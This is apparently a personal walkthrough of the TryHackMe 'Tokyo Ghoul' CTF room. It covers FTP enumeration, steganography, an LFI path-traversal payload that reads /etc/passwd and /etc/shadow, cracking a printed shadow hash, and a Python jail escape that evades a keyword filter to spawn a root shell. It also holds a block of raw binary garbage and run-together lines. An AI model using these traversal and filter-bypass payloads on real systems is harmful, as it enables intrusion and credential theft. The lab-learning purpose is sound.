Challenge: Tokyo Ghoul (TryHackMe)

Introduction
Tokyo Ghoul CTF Challenge - A Complete Walkthrough
This write-up documents my journey through the "Tokyo Ghoul" room on TryHackMe, a beginner-to-intermediate level capture-the-flag challenge inspired by the popular anime series. This room combines multiple penetration testing techniques, including network enumeration, steganography, cryptographic decoding, local file inclusion (LFI) exploitation, and Python sandbox escape for privilege escalation.
Warning: This write-up contains spoilers for Tokyo Ghoul seasons 1 and 2. If you plan to watch the anime, consider bookmarking this and returning after you've finished the series.
Skills Covered:
Network reconnaissance with Nmap
Web directory enumeration with Gobuster
Anonymous FTP exploitation
Steganography with Steghide
Binary analysis with rabin2
Multi-layer encoding/decoding (Morse, Hex, Base64)
Local File Inclusion (LFI) vulnerabilities
Password cracking with John the Ripper
Python jail/sandbox escape techniques
Linux privilege escalation
Tools Used:
Nmap, Gobuster, FTP client
Steghide, exiftool, rabin2
CyberChef for decoding
John the Ripper
GTFOBins for privilege escalation research
Let's dive into the challenge and explore how each technique connects to ultimately achieve root access on the target machine.
About the room

wzebi dyalmn????
This room took a lot of inspiration from psychobreak , and it is based on Tokyo Ghoul anime.
Alert: This room can contain some spoilers 'only s1 and s2 ' so if you are interested to watch the anime, wait till you finish the anime and come back to do the room
The machine will take some time, just go grab some water or make a coffee.
Where am i ?

Let's do some scanning.
Answer the questions below
Use nmap to scan all ports
nmap -sV IP_Address
How many ports are open ?
3What is the OS used ?
ubuntu
Planning to escape

Try to look around any thing would be useful .
Answer the questions below
Did you find the note that the others ghouls gave you? where did you find it?
jasonroom.htmlsite:
IP_Address, then navigate to the present link
What is the key for Rize executable?
kamishiroftpwas one of the open ports: we’ll try to check if we can find some files usingftpftp 10.49.171.206Name (10.49.171.206:root):
Anonymousftp>
cd "need_Help?"ftp>
ls -laftp>
get Aogiri_tree.txtftp>
cd Talk_with_meftp>
ls -laftp>
get rize_and_kaneki.jpgftp>
get need_to_talk
cat Aogiri_tree.txtWhy are you so late?? i've been waiting for too long . So i heard you need help to defeat Jason , so i'll help you to do it and i know you are wondering how i will. I knew Rize San more than anyone and she is a part of you, right? That mean you got her kagune , so you should activate her Kagune and to do that you should get all control to your body , i'll help you to know Rise san more and get her kagune , and don't forget you are now a part of the Aogiri tree . Bye Kaneki.
exiftool rize_and_kaneki.jpg
steghide extract -sf rize_and_kaneki.jpg
cat need_to_talk
ELF>\ufffd@\ufffd<@8
@@@@h\ufffd\ufffd\ufffd-- 88\ufffd-\ufffd=\ufffd=\ufffd\ufffd\ufffd-\ufffd=\ufffd=\ufffd\ufffd\ufffd\ufffdDDP\ufffdtdP!P!P!\\Q\ufffdtdR\ufffdtd\ufffd-\ufffd=\ufffd=/lib64/ld-linux-x86-64.so.2GNU\ufffd\ufffdUY\ufffd\u01dd\ufffdH\ufffd\ufffd<2\ufffd^\ufffd\\ufffdGNU\ufffd\ufffd(\ufffd\ufffde\ufffdmgUal\ufffd !LZ\ufffd /\ufffd 76(\ufffd="\ufffdputsputcharstdinprintffgetsstrlenstdoutmallocusleep__cxa_finalizesetbufstrcmp__libc_start_mainfreelibc.so.6GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTablequ\ufffdi {\ufffd\ufffd\ufffd\ufffdx@ \ufffd \ufffd@ \ufffd\ufffd \ufffd?\ufffd\ufffd?
\ufffd?\ufffd@\ufffd@@ @(@0@8@@@H@ P@
X@
`@h@H\ufffdH\ufffd\ufffd/H\ufffd\ufffdt\ufffd\ufffdH\ufffd\ufffd\ufffd5\ufffd/\ufffd%\ufffd/@\ufffd%\ufffd/h\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd/h\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd/h\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd/h\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd/h\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd/h\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd/h\ufffd\ufffd\ufffd\ufffd\ufffd%\ufffd/h\ufffdp\ufffd\ufffd\ufffd\ufffd%\ufffd/\ufffd`\ufffd\ufffd\ufffd\ufffd%\ufffd/h \ufffdP\ufffd\ufffd\ufffd\ufffd%\ufffd/h
\ufffdH\ufffd=\ufffd\ufffd\ufffd.\ufffdDH\ufffd=\ufffd/H\ufffdz/H9\ufffdtH\ufffd\ufffd.H\ufffd\ufffdt \ufffd\ufffd\ufffd\ufffd\ufffdH\ufffd=Q/H\ufffd5J/H)\ufffdH\ufffd\ufffdH\ufffd\ufffd?H\ufffd\ufffdH\ufffdH\ufffd\ufffdtH\ufffdu.H\ufffd\ufffd\ufffd\ufffdfD\ufffd\ufffd\ufffd=1/u/UH\ufffd=V.H\ufffd\ufffdt
H\ufffd=\ufffd.\ufffd-\ufffd\ufffd\ufffd\ufffdh\ufffd\ufffd\ufffd\ufffd /]\ufffd\ufffd\ufffd\ufffd\ufffd{\ufffd\ufffd\ufffdUH\ufffd\ufffd\ufffdJ\ufffd\ufffd\ufffd\ufffd\ufffdtH\ufffd=\ufffd\ufffd\ufffd\ufffd_\ufffd\ufffdH\ufffd=\ufffd\ufffdxH\ufffd=\ufffdl\ufffd]\ufffdUH\ufffd\ufffdH\ufffd\ufffdH\ufffdt.\ufffdH\ufffd\ufffd\ufffd'\ufffd\ufffd\ufffd\ufffdE\ufffd\ufffdE\ufffd\ufffd$\ufffdE\ufffdH\ufffdH\ufffd\ufffdH\ufffd#.H\ufffdH\ufffd\ufffd\ufffd\ufffdE\ufffd\ufffdE\ufffd;E\ufffd|\u053f\ufffd1\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdUH\ufffd\ufffdH\ufffd\ufffd H\ufffd}\ufffd\ufffdE\ufffd\ufffd*\ufffdE\ufffdHc\ufffdH\ufffdE\ufffdH\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdP\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdE\ufffd\ufffdE\ufffdHc\ufffdH\ufffdE\ufffdH\ufffd\ufffd\ufffd\ufffdu\ufffdL\ufffd\ufffdL\ufffd\ufffdD\ufffd\ufffdA\ufffd\ufffdH\ufffd\ufffdH9\ufffdu\ufffdH\ufffd[]A\A]A^A_\ufffd\ufffdH\ufffdH\ufffd\ufffdkamishiroHey Kaneki finnaly you want to talk
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?
P\ufffdGood job. I believe this is what you came for:
Hmm. I don't think this is what I was looking for.
Take a look inside of me. rabin2 -z
> \
\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdx\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdB\ufffd\ufffd\ufffd(\ufffd\ufffd\ufffd\ufffdH\ufffd\ufffd\ufffdhp\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdzRx
\ufffd\ufffd\ufffd+zRx
$ \ufffd\ufffd\ufffd\ufffdFJ
S \ufffd?\ufffd;*3$"D\ufffd\ufffd\ufffd\\ufffd\ufffd\ufffd\ufffdXA\ufffdC
`\ufffd\ufffd\ufffd\ufffdeA\ufffdC
R\ufffd\ufffd\ufffdWA\ufffdC
xI\ufffd\ufffd\ufffd}A\ufffdC
H\ufffd\ufffd\ufffd\ufffdMA\ufffdC
D\ufffd\ufffd\ufffd\ufffd\ufffd]B\ufffdI\ufffdE \ufffdE(\ufffdD0\ufffdH8\ufffdG@j8A0A(B BBD\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdq
$\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd8
\ufffd
P \ufffd\ufffd\ufffd\ufffd\ufffd\ufffdo\ufffd\ufffd\ufffd\ufffdo\ufffd\ufffd\ufffdo\ufffd\ufffd\ufffd\ufffdo\ufffd=6FVfv\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdx @ \ufffd GCC: (Debian 9.3.0-15) 9.3.0\ufffd\ufffd8\ufffd
h
\ufffd\ufffd$ P!\ufffd!\ufffd=\ufffd=\ufffd=\ufffd?@p@\ufffd@\ufffd\ufffd\ufffd
P!\ufffd7\ufffd@F\ufffd=m\ufffdy\ufffd=\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd4#\ufffd\ufffd\ufffd\ufffd=\ufffd\ufffd=\ufffd\ufffd=\ufffdP!\ufffd@\ufffd
-eN j\ufffd0 p@~\ufffd \ufffd\ufffd\ufffd\ufffd\ufffd@$\ufffd\ufffd\ufffd\ufffd\ufffdW\ufffdp@;O ^x@k z\ufffd]\ufffd\ufffd\ufffd@4\ufffd+\ufffd\ufffd@\ufffd\ufffdX\ufffd\ufffd@\ufffd\ufffd}\ufffdfM\ufffd\ufffd@\ufffd !\ufffd"\ufffd crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7452__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entryneed_to_talk.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finifree@@GLIBC_2.2.5putchar@@GLIBC_2.2.5print_intro_ITM_deregisterTMCloneTablestdout@@GLIBC_2.2.5sleep_delayputs@@GLIBC_2.2.5stdin@@GLIBC_2.2.5_edatastrlen@@GLIBC_2.2.5setbuf@@GLIBC_2.2.5printf@@GLIBC_2.2.5slow_type__libc_start_main@@GLIBC_2.2.5fgets@@GLIBC_2.2.5__data_startstrcmp@@GLIBC_2.2.5__gmon_start____dso_handle_IO_stdin_used__libc_csu_initmalloc@@GLIBC_2.2.5__bss_startmaindialogscheck_passwordprint_flag__TMC_END___ITM_registerTMCloneTable__cxa_finalize@@GLIBC_2.2.5the_passwordusleep@@GLIBC_2.2.5.symtab.strtab.shstrtab.interp.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.plt.data.bss.comment\ufffd#\ufffd\ufffd$6\ufffd\ufffd D\ufffd\ufffdNo
88V\ufffd^\ufffd\ufffd\ufffdo\ufffd\ufffd&k\ufffd\ufffd\ufffdo\ufffd\ufffdz\ufffdB\ufffd\ufffd \ufffd\ufffd\ufffd\ufffd1\ufffd$$ \ufffd \ufffdP!P!\\ufffd\ufffd!\ufffd!\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd=\ufffd-\ufffd\ufffd?\ufffd\ufffd@\ufffdp@p08\ufffd@\ufffd0 \ufffd0\ufffd0\ufffd0\ufffd- \ufffd84\ufffd;
chmod +x need_to_talk
./need_to_talk
rabin2 -z need_to_talk

- Use a tool to get the other note from Rize.
What Rize is trying to say?

You should help me , i can't support pain aghhhhhhh
Answer the questions below
What the message mean did you understand it ? what it says?
d1r3c70ry_centerwe tried using Steghide on our images but we didn’t have a passphrase we’ll use the one we found on
need_to_talkchmod +x need_to_talk./need_to_talk(kamishiro)
steghide extract -sf rize_and_kaneki.jpg(You_found_1t)
cat yougotme.txt
From
Morse Code→ FromHex(space) → FromBase64
Can you see the weakness in the dark ? no ? just search
What did you find something ? crack it
What is rize username?
kamishiroon
need_to_talkfile there’s a place where the name is mentionedWhat is rize password?
password123The hint shows that we should use John to help us find the password, but so far, we only have the username, and we don’t have the hash, so our next goal is to try to find the hash to use John to find the password
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtI tried using John with SSH, but it takes so long, so we need the option that uses a hash
gobuster dir -u http://<TARGET_IP>/d1r3c70ry_center -w /usr/share/wordlists/dirb/common.txt -x php,html,txt


I tried to check the claim directory for any interesting files or directories and found the about-us.html and contact-us.html, which didn’t contain much but were good for our reconnaissance.
gobuster dir -u http://IP_Address/d1r3c70ry_center/claim -w /usr/share/wordlists/dirb/common.txt -x php,html,txt



going back to the site (http://IP_Address/d1r3c70ry_center/claim/index.php) and noticed that there’s an index.php file, but on the developer tools or inspector, we notice that there’s an LFI Vulnerability indicated by this index.php?view=flower.gif

Trying to navigate to http://IP_Address/d1r3c70ry_center/claim/index.php?view=../../../../etc/passwd or http://IP_Address/d1r3c70ry_center/claim/index.php?view=../../../../etc/shadow but wasn’t succeed, it’s keen


Went to CyberChef to URL-encode the http://IP_Address/d1r3c70ry_center/claim/index.php?view=../../../../etc/passwd to check if this can pass on the LFI vulnerability


echo 'kamishiro:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
password123 (kamishiro)

Fight Jason

Finnaly i got Rize kagune help me fight Jason and get root .
Answer the questions below
user.txt
since we now have the username and the password we’ll login using ssh inorder to access the user flag
ssh kamishiro@IP_Address
pwdls -lacat user.txt
root.txt
most of the time getting to root privilege escalation can be a challenge but the first step is to check
sudo -lwhich attimes might not be an option
sudo -l [sudo] password for kamishiro: Matching Defaults entries for kamishiro on vagrant.vm: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User kamishiro may run the following commands on vagrant.vm: (ALL) /usr/bin/python3 /home/kamishiro/jail.pytried checking the jail.py code with the help of Claude code and ChatGPT to figure out how we can achieve the privilege escalation
cat jail.py
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
print("Hi! Welcome to my world kaneki")
print("========================================================================")
print("What ? You gonna stand like a chicken ? fight me Kaneki")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("Do you think i will let you do this ??????")
return;
else:
exec(text)
print('No Kaneki you are so dead')
if __name__ == "__main__":
main()

sudo /usr/bin/python3 /home/kamishiro/jail.py
tried passing different text or code snippet but it didn’t work at first
import('os').system('/bin/bash')
import('pty').spawn('/bin/bash')

How the Bypass Works:
The Filter:
pythonfor keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
The filter checks if ANY of these exact substrings appear in your input. So 'os', 'import', and 'system' would be caught.
The Bypass - Step by Step:
1. getattr(__builtins__, "__im" + "port__")
What it does: Accesses the __import__ function from __builtins__
Why it works:
Instead of typing __import__ directly (which contains the substring 'import')
We split it: "__im" + "port__" → The filter sees "__im" and "port__" separately
At runtime, Python concatenates them → "__import__"
getattr(__builtins__, "__import__") → Gets the import function
Without bypass: __import__ → blocked ❌
With bypass: "__im" + "port__" → not blocked ✅
2. ("o" + "s")
What it does: Imports the os module
Why it works:
Instead of 'os' as a single string (which would be caught)
We split it: "o" + "s" → Filter sees "o" and "s" separately
At runtime: "o" + "s" = "os"
Without bypass: import os → blocked ❌
With bypass: "o" + "s" → not blocked ✅
3. .__dict__["sy" + "stem"]
What it does: Accesses the system function from the os module
Why it works:
.__dict__ gives us all attributes/functions of the os module as a dictionary
Instead of os.system (contains 'system')
We use dictionary access: ["sy" + "stem"]
Filter sees "sy" and "stem" separately
At runtime: "sy" + "stem" = "system"
Without bypass: os.system → blocked ❌
With bypass: ["sy" + "stem"] → not blocked ✅
4. ("/bin/bash")
Just calls the system function with /bin/bash to spawn a root shell!
Visual Summary:
python# What we want:
__import__('os').system('/bin/bash')
# What gets blocked:
'import', 'os', 'system'
# How we hide it:
getattr(__builtins__, "__im" + "port__")("o" + "s").__dict__["sy" + "stem"]("/bin/bash")
^^^^^^^^^^^^^^^^ ^^^^^^^ ^^^^^^^^^^^^
splits 'import' splits 'os' splits 'system'
Key Concept:
The filter does static analysis (checks the string before execution), but we use dynamic string concatenation (strings combine at runtime). By the time Python executes the code, the strings are already concatenated, but the filter never saw the blocked keywords!
sudo /usr/bin/python3 /home/kamishiro/jail.py
getattr(__builtins__, "__im" + "port__")("o" + "s").__dict__["sy" + "stem"]("/bin/bash")
\> > > getattr(builtins, "im" + "port")("o" + "s")._dict_["sy" + "stem"](“/bin/bash”)

find / -type f -name root.txt 2>/dev/null
cat /root/root.txt

Special thanks

You can contact me on my discord : 0UR4N05#6231
Congratulations you've complete Tokyo ghoul room 1. This is the first room I've ever created so If you enjoyed it please give me a follow up on twitter and send me your feedback in twitter or discord , and i'll be so grateful if you like this room and share it with your friends , thank you .
CONCLUSION
Final Thoughts and Key Takeaways
Congratulations! We've successfully completed the Tokyo Ghoul CTF room by progressing through multiple stages of exploitation:
Attack Chain Summary:
Initial Reconnaissance → Discovered 3 open ports (FTP, SSH, HTTP)
FTP Enumeration → Found anonymous access leading to steganography clues
Steganography & Encoding → Extracted hidden messages through multiple encoding layers
Web Exploitation → Identified and exploited LFI vulnerability to read
/etc/shadowPassword Cracking → Used John the Ripper to crack kamishiro's password hash
Initial Access → SSH login as kamishiro user
Privilege Escalation → Bypassed Python jail sandbox to achieve root access
Key Learning Points:
Layered Security Doesn't Mean Secure - Multiple encoding layers (Morse → Hex → Base64) can be defeated with systematic decoding
String Obfuscation Bypasses Filters - The Python jail escape demonstrated how runtime string concatenation defeats static keyword filtering
LFI + Password Cracking = Initial Access - Combining web vulnerabilities with offline password cracking is highly effective
Always Check
sudo -l- Privilege escalation often starts with understanding what you're allowed to run as rootGTFOBins is Essential - Knowing where to look for exploitation techniques saves time
What Made This Challenge Great:
Thematic Consistency - The Tokyo Ghoul theme was well-integrated throughout
Realistic Technique Chaining - Each stage built upon the previous, mimicking real-world penetration testing
Educational Value - Covered fundamental techniques that appear in many real-world scenarios
Progressive Difficulty - Started simple and gradually increased complexity
Special Thanks: Huge appreciation to the room creator (0UR4N05#6231) for crafting this engaging challenge. This was their first room creation, and it's an excellent contribution to the TryHackMe community.
If you enjoyed this writeup, feel free to share it with others learning penetration testing. Remember: the best way to learn is by doing - so fire up your own instance and give it a try!
Happy Hacking! 🎯🔓




